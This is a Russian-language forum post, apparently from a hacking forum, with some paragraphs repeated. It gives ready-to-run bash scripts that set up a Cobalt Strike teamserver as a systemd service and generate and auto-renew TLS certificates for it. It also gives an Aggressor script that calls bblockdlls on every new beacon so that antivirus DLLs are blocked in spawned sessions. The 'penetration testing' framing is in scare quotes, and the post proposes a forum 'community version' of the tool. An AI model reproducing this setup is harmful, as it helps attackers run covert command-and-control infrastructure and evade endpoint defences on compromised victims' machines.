Пожалуйста, обратите внимание, что пользователь заблокирован
Привет. КобальтСтрайк, Коба, кобальт. Это название в последнее время у всех на слуху (и не только оно), многие хотят, у некоторых даже получается. Не смотря ни на что XD продолжаю поднимать общий уровень грамотности, сегодня в эту летную погоду, хочу рассказать о важном. О начале. Имею ввиду тот самый момент, когда teamserver начинает свою работу и что нужно, чтобы эта самая работа приносила лучики тепла в Ваш дом.
Рафаель Смудж, так зовут основателя и главного идейного вдохновителя Армитажа, ныне cobaltstrike, создал и продолжает работу по воплощению мечты всех, кто решил посвятить себя "тестированию на проникновение в корпоративные сети". Такие эпитеты, наверное можно отнести только к еще одному замечательному изобретению любителей линукса, сетей, интернета и высоких технологий - shebang, а точнее его современной интерпритации .bash. Многие, возможно, станут улыбаться, и обвинять меня в предвзятости и.. Но я лишь хочу провести некую параллель, и показать остальным, кто менее предвзято относится к *nix системам, о чем это я сейчас. И тот и другой продукт - в голом виде представляют собой скучное зрелище, можно сказать у многих (как и у меня в начале знакомства) может сложиться впечатление незавершенности. Но в этом вся соль. И тот и другой вобрали в себя самое главное качество, присуще нашему с Вами времени: технологический прорыв, мультиплатформенность и способность работать с любыми видами ресурсов. Но сегодня хочу оставить уже приевшийся некоторым баш, и рассказать о кобальте, точнее, как я и говорил в самом начале - о начале) а именно об Aggressice Script Language. Хз, в свое время пытался найти материал по теме, но, к счастью все дороги привели на официальную документация, которую я тут и буду рекламировать.
Опустим с Вами момент создания сертификатов, ибо скрипт я приложу в конце статьи, который сделает всю чернуху за Вас (при условии настроенного днс, конечно)), сразу перейдем к делу Немногие знают, что .cna скрипты, так называемые дополнения, которые все мы любим находить на гитхабе и подключать к срипт-менеджеру, можно и нужно подключать при инициализации самого тим-сервера. Сейчас приведу простой пример, который, возможно. многих заставит взять хром-браузер и бороздить просторы оф-руководства.
Некоторые из нас слышали о-чудо-штуке, которая позволяет блокировать .DLL третьих лиц(да-да, в том числе и антивирусов) в child-процессе(т.е. непосредственно новой сессии), различные имплементации можно найти на гитхабе в достаточном количестве. Рафик же, тихо, как и нужно занятому и знающему что делать человеку, скромно поместил эту функцию сюда => https://cobaltstrike.com/aggressor-script/functions.html#bblockdlls
..и, так же скромно, объяснил как ей пользоваться. Штука совершенно потрясающая и просто обязана быть загрудена у читателей форума прямо с самого начала. Что мы с Вами сейчас и воплотим.
Лично я создавл простейший баш-скрипт-хелпер, который запускается с загрузкой системы через init.d(systemctl).
Как видите, скрипт подойдет под любой сервер, не зависитот айпи и требует только изменить пароль на более неоднозначный, а системстл загрузит наш тс прямо тогда, когда нужно. Но не хватает главного, а именно темы разговора, support.cna
Казалось-бы, всего-то пара символов, но облегчитьработу тестирования и проникновения способен в разы)) Если вдруг кому зашло - не кидайтесь тапками, задайте вопрос и я постараюсь ответить на него всеми доступнымит мне методами ;-)
ЗЫ: как и говорил, скрипт по автоматическому созданию сертификатов, и не менее автоматическому их обновлению через cron прилагаю ниже. Сорян за паблик. Вроде как Букварь наз.
Ну и как всегда постарался привнести максимум автоматизма и минимум телодвижений/редактирований. Изменить нужно только пароль, остальное - пулемет ;-)
ЗЫЫ: если кому совсем зайдет, предлагаю создать cobaltstrike.xsspirate_community_version ;-) совместными усилиями, думаю, выйдет неплохое отличие форума от осталной массы пресной воды
Рафаель Смудж, так зовут основателя и главного идейного вдохновителя Армитажа, ныне cobaltstrike, создал и продолжает работу по воплощению мечты всех, кто решил посвятить себя "тестированию на проникновение
Опустим с Вами момент создания сертификатов, ибо скрипт я приложу в конце статьи, который сделает всю чернуху за Вас (при условии настроенного днс, конечно)), сразу перейдем к делу Немногие знают, что .cna скрипты, так называемые дополнения, которые все мы любим находить на гитхабе и подключать к срипт-менеджеру, можно и нужно подключать при инициализации самого тим-сервера. Сейчас приведу простой пример, который, возможно. многих заставит взять хром-браузер и бороздить просторы оф-руководства.
Некоторые из нас слышали о-чудо-штуке, которая позволяет блокировать .DLL третьих лиц(да-да, в том числе и антивирусов) в child-процессе(т.е. непосредственно новой сессии), различные имплементации можно найти на гитхабе в достаточном количестве. Рафик же, тихо, как и нужно занятому и знающему что делать человеку, скромно поместил эту функцию сюда => https://cobaltstrike.com/aggressor-script/functions.html#bblockdlls
..и, так же скромно, объяснил как ей пользоваться. Штука совершенно потрясающая и просто обязана быть загрудена у читателей форума прямо с самого начала. Что мы с Вами сейчас и воплотим.
Лично я создавл простейший баш-скрипт-хелпер, который запускается с загрузкой системы через init.d(systemctl).
Bash:
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike
./agscript 127.0.0.1 41447 support XHOSTPASSWORD support.cna &
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \
-XX:+UseParallelGC -Xms2048M -Xmx2048M -classpath ./cobaltstrike.jar server.TeamServer $(wget -qO- ipinfo.io/ip) XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts
cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver
[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver
CSS:on beacon_initial { bblockdlls($1, true); bcd($1, "C:\\ProgramData"); }
Казалось-бы, всего-то пара символов, но облегчить
ЗЫ: как и говорил, скрипт по автоматическому созданию сертификатов, и не менее автоматическому их обновлению через cron прилагаю ниже. Сорян за паблик. Вроде как Букварь наз.
Bash:
#!/bin/bash
cat<<'EOF'>/usr/local/bin/gencert
#!/bin/bash
[[ -z "$(type certbot)" ]] && apt-get -y install certbot apache2
[[ -z "$(type keytool)" ]] && apt-get -y install openjdk-11-jdk
runuser=$(whoami)
tempdir=$(pwd)
domain="$(hostname)"
password="XPASSWORD"
domainStore="java.keystore"
domainPkcs="$domain.pkcs12"
func_install_letsencrypt(){
echo '[Starting] to build letsencrypt cert!'
certbot certonly --standalone -d $domain -n --register-unsafely-without-email --agree-tos
if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
echo '[Success] letsencrypt certs are built!'
else
echo "[ERROR] letsencrypt certs failed to build. Check that DNS A record is properly configured for this domain"
exit 1
fi
}
func_build_pkcs(){
cd /etc/letsencrypt/live/$domain
echo '[Starting] Building PKCS12 .p12 cert.'
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
echo '[Success] Built $domainPkcs PKCS12 cert.'
echo '[Starting] Building Java keystore via keytool.'
printf "yes" | keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
echo '[Success] Java keystore $domainStore built.'
cp $domainStore $tempdir
echo '[Success] Moved Java keystore to current working directory.'
}
main() {
func_install_letsencrypt
func_build_pkcs
}
main
printf "\n\033[1;32m Готово!\n\n\033[1;37m \033[1;33m /etc/letsencrypt/archive/$domain \033[0m $(ls --color=always -l /etc/letsencrypt/archive/$domain)\n\n \033[1;33m /etc/letsencrypt/live/$domain \033[0m $(ls --color=always -l /etc/letsencrypt/live/$domain)\033[0m\n"
[[ -z "$(cat /var/spool/cron/crontabs/root | grep gencert)" ]] && (crontab -l | grep . ; echo -e "0 0 1,15 * * sudo /usr/local/bin/gencert") | crontab -
EOF
chmod +x /usr/local/bin/gencert && gencert ; rm /usr/local/bin/gencert
Ну и как всегда постарался привнести максимум автоматизма и минимум телодвижений/редактирований. Изменить нужно только пароль, остальное - пулемет ;-)
ЗЫЫ: если кому совсем зайдет, предлагаю создать cobaltstrike.xsspirate_community_version ;-) совместными усилиями, думаю, выйдет неплохое отличие форума от осталной массы пресной воды
Последнее редактирование: